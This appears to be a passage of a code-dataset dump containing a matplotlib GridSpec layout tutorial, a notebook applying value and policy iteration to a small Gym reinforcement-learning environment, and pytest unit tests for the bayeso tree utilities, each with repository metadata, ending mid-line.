"topoflow/utils/tests/xrange_loop_test.py", "max_stars_repo_name": "mintproject/topoflow", "max_stars_repo_head_hexsha": "3c19d4546129280d97eb021d1990697456c547b5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 27, "max_stars_repo_stars_event_min_datetime": "2016-01-20T11:10:39.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-29T19:31:51.000Z", "max_issues_repo_path": "topoflow/utils/tests/xrange_loop_test.py", "max_issues_repo_name": "mintproject/topoflow", "max_issues_repo_head_hexsha": "3c19d4546129280d97eb021d1990697456c547b5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2016-03-30T17:28:42.000Z", "max_issues_repo_issues_event_max_datetime": "2016-03-30T17:28:42.000Z", "max_forks_repo_path": "topoflow/utils/tests/xrange_loop_test.py", "max_forks_repo_name": "mintproject/topoflow", "max_forks_repo_head_hexsha": "3c19d4546129280d97eb021d1990697456c547b5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2015-03-20T04:41:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-31T23:09:54.000Z", "avg_line_length": 21.1956521739, "max_line_length": 44, "alphanum_fraction": 0.4194871795, "include": true, "reason": "import numpy", "num_tokens": 244, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12085324357297282, "lm_q1q2_score": 0.06042662178648641}}
{"text": "\"\"\"\n=============================================================\nCustomizing Figure Layouts Using GridSpec and Other Functions\n=============================================================\n\nHow to create grid-shaped combinations of axes.\n\n    :func:`~matplotlib.pyplot.subplots`\n        Perhaps the primary function used to create figures and axes.\n        It's also similar to :func:`.matplotlib.pyplot.subplot`,\n        but creates and places all axes on the figure at once.  See also\n        `matplotlib.Figure.subplots`.\n\n    :class:`~matplotlib.gridspec.GridSpec`\n        Specifies the geometry of the grid that a subplot will be\n        placed. The number of rows and number of columns of the grid\n        need to be set. Optionally, the subplot layout parameters\n        (e.g., left, right, etc.) can be tuned.\n\n    :class:`~matplotlib.gridspec.SubplotSpec`\n        Specifies the location of the subplot in the given *GridSpec*.\n\n    :func:`~matplotlib.pyplot.subplot2grid`\n        A helper function that is similar to\n        :func:`~matplotlib.pyplot.subplot`,\n        but uses 0-based indexing and let subplot to occupy multiple cells.\n        This function is not covered in this tutorial.\n\n\"\"\"\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\n############################################################################\n# Basic Quickstart Guide\n# ======================\n#\n# These first two examples show how to create a basic 2-by-2 grid using\n# both :func:`~matplotlib.pyplot.subplots` and :mod:`~matplotlib.gridspec`.\n#\n# Using :func:`~matplotlib.pyplot.subplots` is quite simple.\n# It returns a :class:`~matplotlib.figure.Figure` instance and an array of\n# :class:`~matplotlib.axes.Axes` objects.\n\nfig1, f1_axes = plt.subplots(ncols=2, nrows=2, constrained_layout=True)\n\n############################################################################\n# For a simple use case such as this, :mod:`~matplotlib.gridspec` is\n# perhaps overly verbose.\n# You have to create the figure and :class:`~matplotlib.gridspec.GridSpec`\n# instance separately, then pass elements of gridspec instance to the\n# :func:`~matplotlib.figure.Figure.add_subplot` method to create the axes\n# objects.\n# The elements of the gridspec are accessed in generally the same manner as\n# numpy arrays.\n\nfig2 = plt.figure(constrained_layout=True)\nspec2 = gridspec.GridSpec(ncols=2, nrows=2, figure=fig2)\nf2_ax1 = fig2.add_subplot(spec2[0, 0])\nf2_ax2 = fig2.add_subplot(spec2[0, 1])\nf2_ax3 = fig2.add_subplot(spec2[1, 0])\nf2_ax4 = fig2.add_subplot(spec2[1, 1])\n\n#############################################################################\n# The power of gridspec comes in being able to create subplots that span\n# rows and columns.  Note the\n# `Numpy slice <https://docs.scipy.org/doc/numpy/reference/arrays.indexing.html>`_\n# syntax for selecing the part of the gridspec each subplot will occupy.\n#\n# Note that we have also used the convenience method `.Figure.add_gridspec`\n# instead of `.gridspec.GridSpec`, potentially saving the user an import,\n# and keeping the namespace cleaner.\n\nfig3 = plt.figure(constrained_layout=True)\ngs = fig3.add_gridspec(3, 3)\nf3_ax1 = fig3.add_subplot(gs[0, :])\nf3_ax1.set_title('gs[0, :]')\nf3_ax2 = fig3.add_subplot(gs[1, :-1])\nf3_ax2.set_title('gs[1, :-1]')\nf3_ax3 = fig3.add_subplot(gs[1:, -1])\nf3_ax3.set_title('gs[1:, -1]')\nf3_ax4 = fig3.add_subplot(gs[-1, 0])\nf3_ax4.set_title('gs[-1, 0]')\nf3_ax5 = fig3.add_subplot(gs[-1, -2])\nf3_ax5.set_title('gs[-1, -2]')\n\n#############################################################################\n# :mod:`~matplotlib.gridspec` is also indispensable for creating subplots\n# of different widths via a couple of methods.\n#\n# The method shown here is similar to the one above and initializes a\n# uniform grid specification,\n# and then uses numpy indexing and slices to allocate multiple\n# \"cells\" for a given subplot.\n\nfig4 = plt.figure(constrained_layout=True)\nspec4 = fig4.add_gridspec(ncols=2, nrows=2)\nanno_opts = dict(xy=(0.5, 0.5), xycoords='axes fraction',\n                 va='center', ha='center')\n\nf4_ax1 = fig4.add_subplot(spec4[0, 0])\nf4_ax1.annotate('GridSpec[0, 0]', **anno_opts)\nfig4.add_subplot(spec4[0, 1]).annotate('GridSpec[0, 1:]', **anno_opts)\nfig4.add_subplot(spec4[1, 0]).annotate('GridSpec[1:, 0]', **anno_opts)\nfig4.add_subplot(spec4[1, 1]).annotate('GridSpec[1:, 1:]', **anno_opts)\n\n############################################################################\n# Another option is to use the ``width_ratios`` and ``height_ratios``\n# parameters. These keyword arguments are lists of numbers.\n# Note that absolute values are meaningless, only their relative ratios\n# matter. That means that ``width_ratios=[2, 4, 8]`` is equivalent to\n# ``width_ratios=[1, 2, 4]`` within equally wide figures.\n# For the sake of demonstration, we'll blindly create the axes within\n# ``for`` loops since we won't need them later.\n\nfig5 = plt.figure(constrained_layout=True)\nwidths = [2, 3, 1.5]\nheights = [1, 3, 2]\nspec5 = fig5.add_gridspec(ncols=3, nrows=3, width_ratios=widths,\n                          height_ratios=heights)\nfor row in range(3):\n    for col in range(3):\n        ax = fig5.add_subplot(spec5[row, col])\n        label = 'Width: {}\\nHeight: {}'.format(widths[col], heights[row])\n        ax.annotate(label, (0.1, 0.5), xycoords='axes fraction', va='center')\n\n############################################################################\n# Learning to use ``width_ratios`` and ``height_ratios`` is particularly\n# useful since the top-level function :func:`~matplotlib.pyplot.subplots`\n# accepts them within the ``gridspec_kw`` parameter.\n# For that matter, any parameter accepted by\n# :class:`~matplotlib.gridspec.GridSpec` can be passed to\n# :func:`~matplotlib.pyplot.subplots` via the ``gridspec_kw`` parameter.\n# This example recreates the previous figure without directly using a\n# gridspec instance.\n\ngs_kw = dict(width_ratios=widths, height_ratios=heights)\nfig6, f6_axes = plt.subplots(ncols=3, nrows=3, constrained_layout=True,\n        gridspec_kw=gs_kw)\nfor r, row in enumerate(f6_axes):\n    for c, ax in enumerate(row):\n        label = 'Width: {}\\nHeight: {}'.format(widths[c], heights[r])\n        ax.annotate(label, (0.1, 0.5), xycoords='axes fraction', va='center')\n\n############################################################################\n# The ``subplots`` and ``gridspec`` methods can be combined since it is\n# sometimes more convenient to make most of the subplots using ``subplots``\n# and then remove some and combine them.  Here we create a layout with\n# the bottom two axes in the last column combined.\n\nfig7, f7_axs = plt.subplots(ncols=3, nrows=3)\ngs = f7_axs[1, 2].get_gridspec()\n# remove the underlying axes\nfor ax in f7_axs[1:, -1]:\n    ax.remove()\naxbig = fig7.add_subplot(gs[1:, -1])\naxbig.annotate('Big Axes \\nGridSpec[1:, -1]', (0.1, 0.5),\n               xycoords='axes fraction', va='center')\n\nfig7.tight_layout()\n\n###############################################################################\n# Fine Adjustments to a Gridspec Layout\n# =====================================\n#\n# When a GridSpec is explicitly used, you can adjust the layout\n# parameters of subplots that are created from the GridSpec.  Note this\n# option is not compatible with ``constrained_layout`` or\n# `.Figure.tight_layout` which both adjust subplot sizes to fill the\n# figure.\n\nfig8 = plt.figure(constrained_layout=False)\ngs1 = fig8.add_gridspec(nrows=3, ncols=3, left=0.05, right=0.48, wspace=0.05)\nf8_ax1 = fig8.add_subplot(gs1[:-1, :])\nf8_ax2 = fig8.add_subplot(gs1[-1, :-1])\nf8_ax3 = fig8.add_subplot(gs1[-1, -1])\n\n###############################################################################\n# This is similar to :func:`~matplotlib.pyplot.subplots_adjust`, but it only\n# affects the subplots that are created from the given GridSpec.\n#\n# For example, compare the left and right sides of this figure:\n\nfig9 = plt.figure(constrained_layout=False)\ngs1 = fig9.add_gridspec(nrows=3, ncols=3, left=0.05, right=0.48,\n                        wspace=0.05)\nf9_ax1 = fig9.add_subplot(gs1[:-1, :])\nf9_ax2 = fig9.add_subplot(gs1[-1, :-1])\nf9_ax3 = fig9.add_subplot(gs1[-1, -1])\n\ngs2 = fig9.add_gridspec(nrows=3, ncols=3, left=0.55, right=0.98,\n                        hspace=0.05)\nf9_ax4 = fig9.add_subplot(gs2[:, :-1])\nf9_ax5 = fig9.add_subplot(gs2[:-1, -1])\nf9_ax6 = fig9.add_subplot(gs2[-1, -1])\n\n###############################################################################\n# GridSpec using SubplotSpec\n# ==========================\n#\n# You can create GridSpec from the :class:`~matplotlib.gridspec.SubplotSpec`,\n# in which case its layout parameters are set to that of the location of\n# the given SubplotSpec.\n#\n# Note this is also available from the more verbose\n# `.gridspec.GridSpecFromSubplotSpec`.\n\nfig10 = plt.figure(constrained_layout=True)\ngs0 = fig10.add_gridspec(1, 2)\n\ngs00 = gs0[0].subgridspec(2, 3)\ngs01 = gs0[1].subgridspec(3, 2)\n\nfor a in range(2):\n    for b in range(3):\n        fig10.add_subplot(gs00[a, b])\n        fig10.add_subplot(gs01[b, a])\n\n###############################################################################\n# A Complex Nested GridSpec using SubplotSpec\n# ===========================================\n#\n# Here's a more sophisticated example of nested GridSpec where we put\n# a box around each cell of the outer 4x4 grid, by hiding appropriate\n# spines in each of the inner 3x3 grids.\n\nimport numpy as np\nfrom itertools import product\n\n\ndef squiggle_xy(a, b, c, d, i=np.arange(0.0, 2*np.pi, 0.05)):\n    return np.sin(i*a)*np.cos(i*b), np.sin(i*c)*np.cos(i*d)\n\n\nfig11 = plt.figure(figsize=(8, 8), constrained_layout=False)\n\n# gridspec inside gridspec\nouter_grid = fig11.add_gridspec(4, 4, wspace=0.0, hspace=0.0)\n\nfor i in range(16):\n    inner_grid = outer_grid[i].subgridspec(3, 3, wspace=0.0, hspace=0.0)\n    a, b = int(i/4)+1, i % 4+1\n    for j, (c, d) in enumerate(product(range(1, 4), repeat=2)):\n        ax = plt.Subplot(fig11, inner_grid[j])\n        ax.plot(*squiggle_xy(a, b, c, d))\n        ax.set_xticks([])\n        ax.set_yticks([])\n        fig11.add_subplot(ax)\n\nall_axes = fig11.get_axes()\n\n# show only the outside spines\nfor ax in all_axes:\n    for sp in ax.spines.values():\n        sp.set_visible(False)\n    if ax.is_first_row():\n        ax.spines['top'].set_visible(True)\n    if ax.is_last_row():\n        ax.spines['bottom'].set_visible(True)\n    if ax.is_first_col():\n        ax.spines['left'].set_visible(True)\n    if ax.is_last_col():\n        ax.spines['right'].set_visible(True)\n\nplt.show()\n\n#############################################################################\n#\n# ------------\n#\n# References\n# \"\"\"\"\"\"\"\"\"\"\n#\n# The usage of the following functions and methods is shown in this example:\n\nmatplotlib.pyplot.subplots\nmatplotlib.figure.Figure.add_gridspec\nmatplotlib.figure.Figure.add_subplot\nmatplotlib.gridspec.GridSpec\nmatplotlib.gridspec.SubplotSpec.subgridspec\nmatplotlib.gridspec.GridSpecFromSubplotSpec\n", "meta": {"hexsha": "76d94b61f2a9b61c28c236ed011025e1ab96a67c", "size": 10986, "ext": "py", "lang": "Python", "max_stars_repo_path": "extraPackages/matplotlib-3.0.3/tutorials/intermediate/gridspec.py", "max_stars_repo_name": "dolboBobo/python3_ios", "max_stars_repo_head_hexsha": "877f8c2c5890f26292ddd14909bea62a04fe2889", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 130, "max_stars_repo_stars_event_min_datetime": "2018-02-03T10:25:54.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T22:27:22.000Z", "max_issues_repo_path": "extraPackages/matplotlib-3.0.2/tutorials/intermediate/gridspec.py", "max_issues_repo_name": "spacetime314/python3_ios", "max_issues_repo_head_hexsha": "e149f1bc2e50046c8810f83dae7739a8dea939ee", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2018-12-14T07:31:42.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-09T20:29:28.000Z", "max_forks_repo_path": "extraPackages/matplotlib-3.0.2/tutorials/intermediate/gridspec.py", "max_forks_repo_name": "spacetime314/python3_ios", "max_forks_repo_head_hexsha": "e149f1bc2e50046c8810f83dae7739a8dea939ee", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 64, "max_forks_repo_forks_event_min_datetime": "2018-04-25T08:51:57.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-29T14:13:57.000Z", "avg_line_length": 38.8197879859, "max_line_length": 82, "alphanum_fraction": 0.6282541416, "include": true, "reason": "import numpy", "num_tokens": 2832, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12085323565689979, "lm_q1q2_score": 0.060426617828449894}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: py:percent,ipynb\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.4.2\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown]\n# # 1 Initial Approach with Dynamic Programming\n# This notebook contains some intial trials of hands-on, basic reinforcement learning algorithms to familiarize with the topic and eventually arrive at the bare frame of the environment for ramp-up scenarios. The set-up follows the discourse in [Artificial Intelligence: Reinforcement Learning in Python](https://www.udemy.com/share/1013kmBEQbdF1XTXQ=/) by Lazy Programmer Inc roughly, altough the environment conforms with OpenAI's toolkit for RL, [Gym](https://gym.openai.com/).\n\n# %%\nimport gym\nimport numpy as np\nimport pandas as pd\nfrom gym import spaces\nfrom IPython.core.display import HTML, display\n\n\n# %% [markdown]\n# ## Review helper functions\n\n# %% [markdown]\n# - With `display_side_by_side()`, tables are displayed side by side to ease interpretations and save space as the table index is similar.\n# - Future value at each possible combination of state and episode is generated and displayed with `pivot_v()`\n# - The policy at each possible combination of state and episode is generated and displayed with `pivot_p()`\n\n# %%\ndef display_side_by_side(dfs: list, captions: list):\n    output = \"\"\n    combined = dict(zip(captions, dfs))\n    for caption, df in combined.items():\n        output += (\n            df.style.set_table_attributes(\"style='display:inline'\")\n            .set_caption(caption)\n            ._repr_html_()\n        )\n        output += \"\\xa0\\xa0\\xa0\"\n    display(HTML(output))\n\n\ndef pivot_v(V):\n    v_table = pd.Series(V).reset_index()\n    v_table.columns = [\"Episode\", \"Action\", \"Value\"]\n    v_table.sort_values(by=[\"Episode\", \"Action\"], inplace=True)\n    v_table_p = v_table.pivot(index=\"Episode\", columns=\"Action\")\n    return v_table, v_table_p\n\n\ndef pivot_p(policy):\n    p_table = pd.Series(policy).reset_index()\n    p_table.columns = [\"Episode\", \"State\", \"Policy_S\"]\n    p_table.sort_values(by=[\"Episode\"], inplace=True)\n    p_table = p_table.pivot(index=\"Episode\", columns=\"State\")\n    p_table = p_table.assign(demand=demand)\n    return p_table\n\n\n# %% [markdown]\n# ## Definitions of constants\n#\n# All constants needed for the environment include\n# - the **action list**, a discrete set of actions to move between states\n# - the **legal changes**, a constraining factor which actions may follow upon which state\n# - **demand**, for now just a list which is the trajectory that needs to be followed during an episode, only the choice of actions is open to the agent\n\n# %%\naction_list = [\n    \"OPERATE\",  # 0\n    \"PREPARE\",  # 1\n    \"PARK\",  # 2\n    \"STORE\",  # 3\n]\n\nlegal_changes = {\n    0: {0, 1, 2},  # from OPERATE to OPERATE, PREPARE, or PARK\n    1: {1, 0, 2},  # from PREPARE to PREPARE, OPERATE, or PARK\n    2: {2, 1, 3},  # from PARK to PARK, PREPARE, or STORE\n    3: {3, 2},  # from STORE to STORE or PARK\n}\ndemand = [\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,\n    0,  # week 1\n    0,\n    0,\n    0,\n    2,\n    0,\n    3,\n    1,  # week 2\n    0,\n    0,\n    60,\n    25,\n    32,\n    87,\n    56,  # week 3\n    92,\n    83,\n    29,\n    40,\n    86,\n    70,\n    45,  # week 4\n]\n\n\n# %% [markdown]\n# ## Environment Definition\n# The environment is in accordance with Gym. It's a sequence of X days, on each day a single action can be performed. That's the entire logic encoded in the environment!\n\n# %%\nclass RampupEnv(gym.Env):\n    def __init__(self, horizon=10, verbose=False):\n        super(RampupEnv, self).__init__()\n\n        self.fleet_size = 1\n        self.horizon = horizon\n\n        self.state_time = 0  # time component of state\n        self.state_status = np.zeros(self.horizon)  # status component of state\n\n        # action_space: The Space object corresponding to valid actions\n        # observation_space: The Space object corresponding to valid observations\n        self.action_space = spaces.Discrete(len(action_list))\n        self.observation_space = spaces.Tuple(\n            (spaces.Discrete(self.fleet_size), spaces.Discrete(self.horizon))\n        )\n\n        self.total_reward = 0\n        self.verbose = verbose\n\n    def translate_action(self, action):\n        if action == 0:\n            action_description = \"OPERATE\"\n            if demand[self.state_time] > 80:\n                reward = 15000\n            else:\n                reward = -3000\n        elif action == 1:\n            action_description = \"PREPARE\"\n            reward = -2000\n        elif action == 2:\n            action_description = \"PARK\"\n            reward = -1000\n        elif action == 3:\n            action_description = \"STORE\"\n            reward = -500\n\n        if self.verbose:\n            print(f\"Action {action} leads to state {action_description}\")\n\n        return action_description, reward\n\n    def step(self, action):\n        # Increment time component of state\n        self.state_time += 1\n\n        action_description, reward = self.translate_action(action)\n\n        # Adjust the status component of state\n        self.state_status[self.state_time] = action\n\n        obs = self.state_status[0 : self.state_time]\n        done = bool(self.state_time == self.horizon - 1)\n        info = {}\n\n        if self.verbose:\n            print(f\"Action taken: {action_description}\")\n\n        self.total_reward += reward\n\n        return obs, reward, done, info\n\n    def undo_step(self, o, r, d, i):\n        self.state_time -= 1\n        self.total_reward -= r\n\n        return o, r, d, i\n\n    def render(self):\n        if self.verbose:\n            print(f\"Reward so far: {self.total_reward}\")\n\n    def reset(self):\n        # Initialize the agent in the first field\n        self.state_time = 0\n        self.total_reward = 0\n\n    def set_state(self, state):\n        state_time, state_status = state\n        self.state_time = state_time\n        self.state_status[self.state_time] = state_status\n\n\n# %% [markdown]\n# ## Random Walk Episode\n# The length of the episode is determined by `horizon`, actions are taken at random. We observe, that games mostly lead to a negative total reward, thus it takes a policy better than a random policy to perform well.\n\n# %%\nhorizon = 7 * 4\nenv = RampupEnv(horizon=horizon)\n\nfor step in range(horizon):\n    action = env.action_space.sample()\n    obs, reward, done, info = env.step(action)\n    env.render()\n    if done:\n        print(\n            f\"Random walk episode is complete.\\nTrajectory:\\n{obs}\\nTotal reward: {env.total_reward}\"\n        )\n        break\n\n# %% [markdown]\n# ## Value Iteration\n# All possible state transitions (transitions between possible combinations of state time and state actions) are iteratively evaluated for their value, until the improvement in value converges to a defined threshold. It takes 23 iterations for the sample environment with the provided data. The resulting table shows the value for each state-action.\n\n# %%\nh = 7 * 4  # time horizon\nenv = RampupEnv(horizon=h, verbose=False)\nall_states = set(\n    [(s, a) for s in range(len(env.state_status)) for a in range(env.action_space.n)]\n)\n\nSMALL_ENOUGH = 1e-3  # threshold for convergence\nGAMMA = 1.0  # discount factor\n\nV = {}\nfor state in all_states:\n    V[state] = 0\n\nbiggest_change = 0\niters = 0\n\nwhile True:\n    iters += 1\n    biggest_change = 0\n    for state in all_states:\n        old_v = V[state]\n        env.set_state(state)\n        state_time, state_status = state\n        if env.state_time < env.horizon - 1:\n            new_v = 0  # answer is accumulated\n            p_a = 1.0 / len(legal_changes[state_status])  # equal probability\n            for a in legal_changes[state_status]:\n                env.set_state(state)\n                o, r, d, i = env.step(a)\n                new_v += p_a * (r + GAMMA * V[(env.state_time, a)])\n                o, r, d, i = env.undo_step(o, r, d, i)\n            V[state] = new_v\n            biggest_change = max(biggest_change, np.abs(old_v - V[state]))\n\n        if env.verbose:\n            print(f\"State: {state}, Old V: {old_v}\")\n\n    if biggest_change < SMALL_ENOUGH:\n        print(f\"Done in {iters} iterations\")\n        v_table, v_table_p = pivot_v(V)\n        display(v_table_p)\n        break\n\n# %% [markdown]\n# ## Policy Iteration\n# Value iteration stops as the improvement of value converges, policy iteration then adds a policy improvement step. In the case of the example, there is no improvement visible, but we do get the policy for the values from value iterations inside of the attached policy improvement step.\n\n# %%\nh = 7 * 4  # time horizon\nenv = RampupEnv(horizon=h, verbose=False)\nall_states = set(\n    [(s, a) for s in range(len(env.state_status)) for a in range(env.action_space.n)]\n)\n\nSMALL_ENOUGH = 1e-3\nGAMMA = 1\n\npolicy = {}\nfor state in all_states:\n    policy[state] = env.action_space.sample()\n\nV = {}\nfor state in all_states:\n    V[state] = 0\n\niters1, iters2 = 0, 0\nrep1, rep2 = \"\", \"\"\n\nwhile True:\n    iters1 = 0\n    # Policy Evaluation Step\n    while True:\n        iters1 += 1\n        biggest_change = 0\n        for state in all_states:\n            old_v = V[state]\n            env.set_state(state)\n            state_time, state_status = state\n            if env.state_time < env.horizon - 1:\n                new_v = 0  # answer is accumulated\n                p_a = 1.0 / len(legal_changes[state_status])  # equal probability\n                for a in legal_changes[state_status]:\n                    env.set_state(state)\n                    o, r, d, i = env.step(a)\n                    new_v += p_a * (r + GAMMA * V[(env.state_time, a)])\n                    o, r, d, i = env.undo_step(o, r, d, i)\n                V[state] = new_v\n                biggest_change = max(biggest_change, np.abs(old_v - V[state]))\n\n            if env.verbose:\n                print(f\"State: {state}, Old V: {old_v}\")\n\n        if biggest_change < SMALL_ENOUGH:\n            rep1 += f\"{str(iters1)}, \"\n            iters2 += 1\n            break\n\n    # Policy Improvement Step\n    is_policy_converged = True\n    for state in all_states:\n        for state in policy:\n            old_a = policy[state]\n            new_a = None\n            best_value = float(\"-inf\")\n            env.set_state(state)\n            state_time, state_status = state\n            if env.state_time < env.horizon - 1:\n                # loop through all possible actions to find the best current action\n                for a in legal_changes[state_status]:\n                    env.set_state(state)\n                    o, r, d, i = env.step(a)\n                    v = r + GAMMA * V[(env.state_time, a)]\n                    # print(v)\n                    if v > best_value:\n                        best_value = v\n                        new_a = a\n                policy[state] = new_a\n                if new_a != old_a:\n                    is_policy_converged = False\n    if is_policy_converged:\n        print(\n            f\"Policy evaluation and improvement steps were entered {iters2} times. \\\nPolicy evaluation iterated {rep1[:-2]} times.\"\n        )\n        v_table, v_table_p = pivot_v(V)\n        p_table = pivot_p(policy)\n        display_side_by_side([v_table_p, p_table], [\"Value Table\", \"Policy Table\"])\n        break\n\n# %%\n", "meta": {"hexsha": "a0d3bff9e343cadfab54dece668e8bf206ac4d4c", "size": 11345, "ext": "py", "lang": "Python", "max_stars_repo_path": "nb_01_dynamic_programming.py", "max_stars_repo_name": "sebas-seck/plan-opt", "max_stars_repo_head_hexsha": "bf95edc2c3609aea7572887097be0f2f75e19216", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nb_01_dynamic_programming.py", "max_issues_repo_name": "sebas-seck/plan-opt", "max_issues_repo_head_hexsha": "bf95edc2c3609aea7572887097be0f2f75e19216", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nb_01_dynamic_programming.py", "max_forks_repo_name": "sebas-seck/plan-opt", "max_forks_repo_head_hexsha": "bf95edc2c3609aea7572887097be0f2f75e19216", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.3397790055, "max_line_length": 480, "alphanum_fraction": 0.6094314676, "include": true, "reason": "import numpy", "num_tokens": 2888, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1208532229911838, "lm_q1q2_score": 0.0604266114955919}}
{"text": "#\n# author: Jungtaek Kim (jtkim@postech.ac.kr)\n# last updated: August 17, 2021\n#\n\"\"\"test_trees_trees_common\"\"\"\n\nimport typing\nimport pytest\nimport numpy as np\n\nfrom bayeso import constants\nfrom bayeso.trees import trees_common as package_target\n\n\nTEST_EPSILON = 1e-7\n\ndef test_get_inputs_from_leaf_typing():\n    annos = package_target.get_inputs_from_leaf.__annotations__\n\n    assert annos['leaf'] == list\n    assert annos['return'] == np.ndarray\n\ndef test_get_inputs_from_leaf():\n    leaf = [\n        (np.array([1.0, 2.0, 3.0]), np.array([2.0])),\n        (np.array([2.0, 1.0, 3.0]), np.array([1.0])),\n        (np.array([3.0, 0.0, 3.0]), np.array([0.5])),\n        (np.array([4.0, -1.0, 3.0]), np.array([1.5])),\n    ]\n\n    with pytest.raises(AssertionError) as error:\n        package_target.get_inputs_from_leaf(123)\n    with pytest.raises(AssertionError) as error:\n        package_target.get_inputs_from_leaf('abc')\n\n    inputs = package_target.get_inputs_from_leaf(leaf)\n    assert len(inputs.shape) == 2\n    assert inputs.shape[0] == len(leaf)\n    assert inputs.shape[1] == leaf[0][0].shape[0]\n\ndef test_get_outputs_from_leaf_typing():\n    annos = package_target.get_outputs_from_leaf.__annotations__\n\n    assert annos['leaf'] == list\n    assert annos['return'] == np.ndarray\n\ndef test_get_outputs_from_leaf():\n    leaf = [\n        (np.array([1.0, 2.0, 3.0]), np.array([2.0])),\n        (np.array([2.0, 1.0, 3.0]), np.array([1.0])),\n        (np.array([3.0, 0.0, 3.0]), np.array([0.5])),\n        (np.array([4.0, -1.0, 3.0]), np.array([1.5])),\n    ]\n\n    with pytest.raises(AssertionError) as error:\n        package_target.get_outputs_from_leaf(123)\n    with pytest.raises(AssertionError) as error:\n        package_target.get_outputs_from_leaf('abc')\n\n    outputs = package_target.get_outputs_from_leaf(leaf)\n    assert len(outputs.shape) == 2\n    assert outputs.shape[0] == len(leaf)\n    assert outputs.shape[1] == leaf[0][1].shape[0]\n\ndef test__mse_typing():\n    annos = package_target._mse.__annotations__\n\n    assert annos['Y'] == np.ndarray\n    assert annos['return'] == float\n\ndef test__mse():\n    Y = np.array([\n        [1.0],\n        [2.0],\n        [6.0],\n    ])\n\n    with pytest.raises(AssertionError) as error:\n        package_target._mse(123)\n    with pytest.raises(AssertionError) as error:\n        package_target._mse('abc')\n\n    output = package_target._mse(np.zeros((0, 1)))\n    assert output == 1e8\n\n    output = package_target._mse(np.array([]))\n    assert output == 1e8\n\n    output = package_target._mse(Y)\n    assert output == 14.0 / 3\n\ndef test_mse_typing():\n    annos = package_target.mse.__annotations__\n\n    assert annos['left_right'] == tuple\n    assert annos['return'] == float\n\ndef test_mse():\n    left = [\n        (np.array([1.0, 2.0, 3.0]), np.array([0.5])),\n        (np.array([2.0, 2.0, 1.0]), np.array([0.1])),\n        (np.array([3.0, 0.0, 1.0]), np.array([0.2])),\n        (np.array([4.0, 0.0, 3.0]), np.array([0.3])),\n    ]\n    right = [\n        (np.array([10.0, 20.0, 30.0]), np.array([0.6])),\n        (np.array([20.0, 20.0, 10.0]), np.array([0.9])),\n        (np.array([30.0, 0.0, 10.0]), np.array([0.9])),\n        (np.array([40.0, 0.0, 30.0]), np.array([0.8])),\n    ]\n\n    with pytest.raises(AssertionError) as error:\n        package_target.mse(123)\n    with pytest.raises(AssertionError) as error:\n        package_target.mse('abc')\n    with pytest.raises(AssertionError) as error:\n        package_target.mse(np.zeros((4, 1)))\n\n    output = package_target.mse(([], []))\n    assert output == 2e8\n\n    output = package_target.mse((left, []))\n    assert output == 0.021875 + 1e8\n\n    output = package_target.mse(([], right))\n    assert output == 1e8 + 0.015\n\n    output = package_target.mse((left, right))\n    assert np.abs(output - (0.021875 + 0.015)) < TEST_EPSILON\n\ndef test_subsample_typing():\n    annos = package_target.subsample.__annotations__\n\n    assert annos['X'] == np.ndarray\n    assert annos['Y'] == np.ndarray\n    assert annos['ratio_sampling'] == float\n    assert annos['replace_samples'] == bool\n    assert annos['return'] == constants.TYPING_TUPLE_TWO_ARRAYS\n\ndef test_subsample():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    ratio_sampling = 0.5\n    replace_samples = False\n\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, ratio_sampling, 123)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, ratio_sampling, 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, 1, replace_samples)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, 'abc', replace_samples)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, 'abc', ratio_sampling, replace_samples)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, 123, ratio_sampling, replace_samples)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample('abc', Y, ratio_sampling, replace_samples)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(123, Y, ratio_sampling, replace_samples)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, 4.0, False)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, -0.5, False)\n    with pytest.raises(AssertionError) as error:\n        package_target.subsample(X, Y, -0.5, True)\n\n    X_, Y_ = package_target.subsample(X, Y, ratio_sampling, 